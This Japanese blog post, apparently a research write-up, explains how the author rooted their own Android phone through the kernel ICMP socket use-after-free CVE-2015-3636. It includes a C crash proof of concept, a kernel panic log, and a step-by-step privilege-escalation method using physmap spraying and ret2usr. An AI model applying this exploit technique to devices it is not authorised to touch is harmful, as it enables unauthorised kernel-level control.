しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

自分でAndroidのrootを取ってみた話(後編)

Linux kernel exploit on Android編です。

前編はこちら

charo-it.hatenablog.jp


前編で扱ったCVE-2015-3837の情報を探す途中で、端末に存在する既知の脆弱性をスキャンしてくれるアプリを見つけました。

このアプリによると、実験台の端末ではPingPong rootとして知られるCVE-2015-3636が刺さるようです。

ということで、今度はこれについて調べてみることにしました。

CVE-2015-3636

概要

この脆弱性Keen Teamが発見したLinuxカーネル4.03未満の脆弱性で、ICMPソケットに対して特定の操作をするとUAFが起きるというものです。

まず、カーネルパニックを起こすだけのPoCを見てみましょう。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/in.h>

int main() {
    int sockfd;
    struct sockaddr addr1 = {
        .sa_family = AF_INET
    };
    struct sockaddr addr2 = {
        .sa_family = AF_UNSPEC
    };

    sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
    if(sockfd < 0) {
        perror("socket");
        exit(1);
    }

    // connect with AF_INET once
    connect(sockfd, &addr1, sizeof(addr1));

    // connect with AF_UNSPEC twice
    connect(sockfd, &addr2, sizeof(addr2));
    connect(sockfd, &addr2, sizeof(addr2));

    return 0;
}

※ 通常Linuxでは一般ユーザがICMPソケットを作れないようになっていますが、Androidでは一般ユーザでも作れるような設定になっています

x86Linux 3.4.0で実行してみると、0x200200にアクセスできないというカーネルパニックが起きます。

/tmp $ ./exploit
[   68.347559] BUG: unable to handle kernel paging request at 00200200
[   68.348067] IP: [<c150dcef>] ping_v4_unhash+0x1f/0x80
[   68.348067] *pde = 00000000
[   68.348067] Oops: 0002 [#1] SMP
[   68.348067] Modules linked in:
[   68.348067]
[   68.348067] Pid: 871, comm: exploit Not tainted 3.4.0 #1 QEMU Standard PC (i440FX + PIIX, 1996)
[   68.348067] EIP: 0060:[<c150dcef>] EFLAGS: 00000202 CPU: 0
[   68.348067] EIP is at ping_v4_unhash+0x1f/0x80
[   68.348067] EAX: 0000005b EBX: f5d3a480 ECX: 00200200 EDX: 00200200
[   68.348067] ESI: c16c3ec0 EDI: f5411ef0 EBP: f5411eb8 ESP: f5411eb4
[   68.348067]  DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068
[   68.348067] CR0: 80050033 CR2: 00200200 CR3: 35415000 CR4: 00000690
[   68.348067] DR0: 00000000 DR1: 00000000 DR2: 00000000 DR3: 00000000
[   68.348067] DR6: ffff0ff0 DR7: 00000400
[   68.348067] Process exploit (pid: 871, ti=f5410000 task=f5f51d40 task.ti=f5410000)
[   68.348067] Stack:
[   68.348067]  f5d3a480 f5411ec4 c14f7c1e f5d3a480 f5411edc c1500aeb 0000000c f5912c00
[   68.348067]  c16c3ec0 00000006 f5411f78 c148adc7 00000002 00000000 00000000 00000000
[   68.348067]  00000000 00000000 00000000 c10eec5d 00000020 f5411f34 00000003 f5411f28
[   68.348067] Call Trace:
[   68.348067]  [<c14f7c1e>] udp_disconnect+0x5e/0x110
[   68.348067]  [<c1500aeb>] inet_dgram_connect+0x5b/0x70
[   68.348067]  [<c148adc7>] sys_connect+0xa7/0xc0
[   68.348067]  [<c10eec5d>] ? get_empty_filp+0x7d/0x180
[   68.348067]  [<c10eed74>] ? alloc_file+0x14/0xc0
[   68.348067]  [<c1488a9f>] ? sock_alloc_file+0x7f/0x100
[   68.348067]  [<c10ebe3e>] ? fd_install+0x1e/0x50
[   68.348067]  [<c1488b3f>] ? sock_map_fd+0x1f/0x30
[   68.348067]  [<c148ba3a>] sys_socketcall+0x20a/0x260
[   68.348067]  [<c1033417>] ? irq_exit+0x57/0xa0
[   68.348067]  [<c1603dcc>] sysenter_do_call+0x12/0x22
[   68.348067] Code: 65 f4 31 c0 5b 5e 5f 5d c3 8d 76 00 8b 48 28 85 c9 74 5f 55 89 e5 53 89 c3 b8 40 0f 98 c1 e8 e9 fb 0e 00 8b 43 24 8b 53 28 a8 01 <89> 02 75 03 89 50 04 c7 43 28 00 02 20 00 3e ff 4b 30 0f 94 c0
[   68.348067] EIP: [<c150dcef>] ping_v4_unhash+0x1f/0x80 SS:ESP 0068:f5411eb4
[   68.348067] CR2: 0000000000200200
[   68.388421] ---[ end trace 02615c9c398dbeb8 ]---
[   68.389381] Kernel panic - not syncing: Fatal exception in interrupt
[   68.390837] Rebooting in 1 seconds..

socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP)で作ったソケットに対してsa_family = AF_UNSPECsockaddrを渡してconnectを2回呼んだ場合に何が起きるのか、カーネルのソースを見てみます。

// taken from http://elixir.free-electrons.com/linux/v3.4/source/net/ipv4/af_inet.c#L544

int inet_dgram_connect(struct socket *sock, struct sockaddr * uaddr,
               int addr_len, int flags)
{
    struct sock *sk = sock->sk;

    if (addr_len < sizeof(uaddr->sa_family))
        return -EINVAL;
    if (uaddr->sa_family == AF_UNSPEC)
        return sk->sk_prot->disconnect(sk, flags);

    if (!inet_sk(sk)->inet_num && inet_autobind(sk))
        return -EAGAIN;
    return sk->sk_prot->connect(sk, (struct sockaddr *)uaddr, addr_len);
}
EXPORT_SYMBOL(inet_dgram_connect);

sa_familyAF_UNSPECの場合、sk->sk_prot->disconnectが呼ばれるようです。

スタックトレースからこれはudp_disconnectだということがわかるので、そちらも見てみます。

// taken from http://elixir.free-electrons.com/linux/v3.4/source/net/ipv4/udp.c#L1264

int udp_disconnect(struct sock *sk, int flags)
{
    struct inet_sock *inet = inet_sk(sk);
    /*
     *  1003.1g - break association.
     */

    sk->sk_state = TCP_CLOSE;
    inet->inet_daddr = 0;
    inet->inet_dport = 0;
    sock_rps_reset_rxhash(sk);
    sk->sk_bound_dev_if = 0;
    if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK))
        inet_reset_saddr(sk);

    if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) {
        sk->sk_prot->unhash(sk);
        inet->inet_sport = 0;
    }
    sk_dst_reset(sk);
    return 0;
}
EXPORT_SYMBOL(udp_disconnect);

スタックトレースに出ているping_v4_unhashは上のコードで言うとsk->sk_prot->unhashのようです。

// taken from http://elixir.free-electrons.com/linux/v3.4/source/net/ipv4/ping.c#L134

static void ping_v4_unhash(struct sock *sk)
{
    struct inet_sock *isk = inet_sk(sk);
    pr_debug("ping_v4_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
    if (sk_hashed(sk)) {
        write_lock_bh(&ping_table.lock);
        hlist_nulls_del(&sk->sk_nulls_node);
        sock_put(sk);
        isk->inet_num = 0;
        isk->inet_sport = 0;
        sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
        write_unlock_bh(&ping_table.lock);
    }
}

gdbで追いかけてみると、カーネルパニックは上のコードのhlist_nulls_delの内部で起きていました。

// taken from http://elixir.free-electrons.com/linux/v3.4/source/include/linux/list_nulls.h#L80

static inline void __hlist_nulls_del(struct hlist_nulls_node *n)
{
    struct hlist_nulls_node *next = n->next;
    struct hlist_nulls_node **pprev = n->pprev;
    *pprev = next;  // [!] crash
    if (!is_a_nulls(next))
        next->pprev = pprev;
}

static inline void hlist_nulls_del(struct hlist_nulls_node *n)
{
    __hlist_nulls_del(n);
    n->pprev = LIST_POISON2;  // LIST_POISON2 == 0x200200
}

図にしてみると、こういうことのようです。

  1. 1回目のAF_UNSPECconnect呼び出し前
    f:id:Charo_IT:20170926160931p:plain
  2. __hlist_nulls_delで対象のskがリストから外される
    f:id:Charo_IT:20170926160942p:plain
  3. 対象のsk->sk_nulls_node.pprevLIST_POISON2(0x200200)が代入される
    f:id:Charo_IT:20170926160953p:plain
  4. 同じsockfdに対して再びAF_UNSPECconnectが呼ばれると、__hlist_nulls_del内の*pprev = nextでクラッシュ

このクラッシュは、0x200200へのアクセス時にページフォルトが起きないようにあらかじめmmapしておけば回避できそうです。

では、クラッシュを回避した後に何が起きるのか、hlist_nulls_del呼び出しの直後にあるsock_putを見てみます。

// taken from http://elixir.free-electrons.com/linux/v3.4/source/include/net/sock.h#L1538

/* Ungrab socket and destroy it, if it was the last reference. */
static inline void sock_put(struct sock *sk)
{
    if (atomic_dec_and_test(&sk->sk_refcnt))  // --sk->sk_refcnt == 0
        sk_free(sk);
}

sk_refcntをデクリメントした結果が0になった場合はskをfreeするという処理になっています。

gdbで調べたところ、AF_INETconnectした直後はsk_refcntが2になっているので、AF_UNSPECで2回connectするとsk_refcntが0になり、sockfdが生きているにも関わらずskがfreeされることになります。

struct sock構造体は様々なポインタを保持しており、特にsk->sk_protclose(sockfd)が呼ばれたときに使われる関数ポインタを持っています。

従って、

  1. 不要なクラッシュを避けるため、mmapで0x200000に領域を確保し、適当に書き込みをしてページが割り当てられた状態にしておく
  2. socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP)でソケットを作る
  3. AF_INETconnectを呼ぶ
    f:id:Charo_IT:20170926161044p:plain
  4. AF_UNSPECconnectを2回呼び、skをfreeさせる
    f:id:Charo_IT:20170926161056p:plain
  5. freeされた領域に何らかの方法で書き込みをし、sk->sk_protユーザランドに向ける f:id:Charo_IT:20170926161111p:plain
  6. close(sockfd)するとsk->sk_prot->closeが呼ばれる(Use After Free)

という手順を踏めば、カーネルモードで任意コード実行できそうです。

試してみた(Take 1)

先に示した手順のステップ5をどう実現するかという話になりますが、Kernel UAFの場合、

  • 攻撃対象のオブジェクトと同じSLABキャッシュが使われる
  • オブジェクトのデータを攻撃者がある程度コントロールできる

という条件を満たすオブジェクトを探してきて使うという手法がよく使われています。

が、今回の攻撃対象のオブジェクトは汎用のkmalloc-xxxではなくPING(またはRAW)という専用のキャッシュが使われているため、上の条件を満たすオブジェクトを見つけるのは容易ではありません。

そこで、

  1. 大量にICMPソケットを作る
  2. バグを使って全部freeすると、オブジェクトが全部free済みのSLABがいくつかできる
  3. kmalloc-xxxが使われるオブジェクトを大量に確保すると、2で述べたSLABが再利用される(可能性が高い)

と少し工夫することで、freeされた領域への書き込みを試みます。

併せて、これだけではどのソケットのskが上書きされたかわからないので、上書きされたskを持つソケットを探すためにioctl(sockfd, SIOCGSTAMPNS, (struct timespec *))も使います。
これはstruct sockが持つsk_stampという符号なし64bit値をstruct timespecに変換するという動作をするので、安全に目的のソケットを探すことが出来ます。(ソースコード参照)

ここまでの話をまとめると、以下の手順でrootが取れることがわかります。

  1. 不要なクラッシュを避けるため、mmapで0x200000に領域を確保し、適当に書き込みをしてページが割り当てられた状態にしておく
  2. 大量にICMPソケットを作る
  3. バグを使って全部freeする
  4. kmalloc-xxxが使われるオブジェクトを大量に確保し、skの上書きを試みる
  5. 上書きされたskを持つsockfdSIOCGSTAMPNSで探す
  6. close(sockfd)を呼んでret2usr

これでexploitを書いてx86な環境で動かしてみたところ、安定してrootが取れることが確認できました。

あとはこれを実機用に移植すればよさそうです。

移植するにあたって、実機でのstruct sockの構造体レイアウトを調べる必要がありましたが、メーカーが実機で動いているカーネルソースコードやdefconfigを公開していたので、これはすぐ解決しました。

移植したものを実機で動かしてみると……

なぜかクラッシュするだけでした。

SIOCGSTAMPNSで取ってきた値を見るとskの上書きがうまくいっていないことは分かったのですが、原因を調べるのは難しそうだったのでKeen Teamが推奨していたphysmapを使う方法に変えることにしました。(最初からそうしろという話ではある)

試してみた(Take 2)

Linuxカーネル空間にはphysmap(Direct-Mapped RAM)等と呼ばれる、物理メモリ(アーキテクチャによって一部だったり全部だったりする)がストレートマッピングされる領域があります。

x86のデフォルトだと、仮想メモリの0xc0000000は物理メモリの0x00000000に対応し、同様に仮想メモリの0xc0000004は物理メモリの0x00000004に対応します。
f:id:Charo_IT:20170926161017p:plain

ストレートマッピングされる部分の物理メモリはカーネル専用というわけではなく、状況に応じてユーザランド用としても使われます。
このとき、1つの物理アドレスに対して2種類の仮想アドレスでアクセスできることになります。
f:id:Charo_IT:20170926161031p:plain

なので、

  1. ICMPソケットを大量に作る
  2. バグを使ってskを大量にfreeする
  3. ユーザランドmmapすると、運が良ければfreeされたskを含むページが確保される
  4. ユーザランドでそのページに書き込みをすればskが上書きされる

という方法でskの上書きを試みることができます。

ここからさらに

  1. ICMPソケットを201個(パディング用200個 + UAF用1個)作る
  2. 1.のセットを大量に作る
  3. パディング用のソケットを普通にclose
  4. バグを使ってUAF用のskをfree
  5. ユーザランドmmapし、その領域のアドレスで埋める
  6. UAF用のソケットをSIOCGSTAMPNSで調べ、上書きされたskを持つソケットがないか探す
  7. なければ5.に戻る
  8. 5.により、上書きされたskのアドレスがSIOCGSTAMPNSの結果からわかるので、該当のsk->sk_protユーザランドに向ける
  9. closeでret2usr

とアレンジすると、UAF用のskがメモリのあちこちに点在するようになるため、mmap時にUAF用のskを含むページが使われる確率を上げることができます。

この方針でx86用のexploitを書き……

続けて実機用に移植して動かしてみると……

無事exploitが刺さり、rootが取れました。

後編まとめ

physmapまわりの知見が得られて良かったです(小並感)

実際の脆弱性に対して自分でexploitを書くのはかなりいい練習になったので、これからも定期的にチャレンジしていこうと思いました。

次回はおまけ編として、rootを取った後にいろいろ遊んでみた話について書く予定です。

References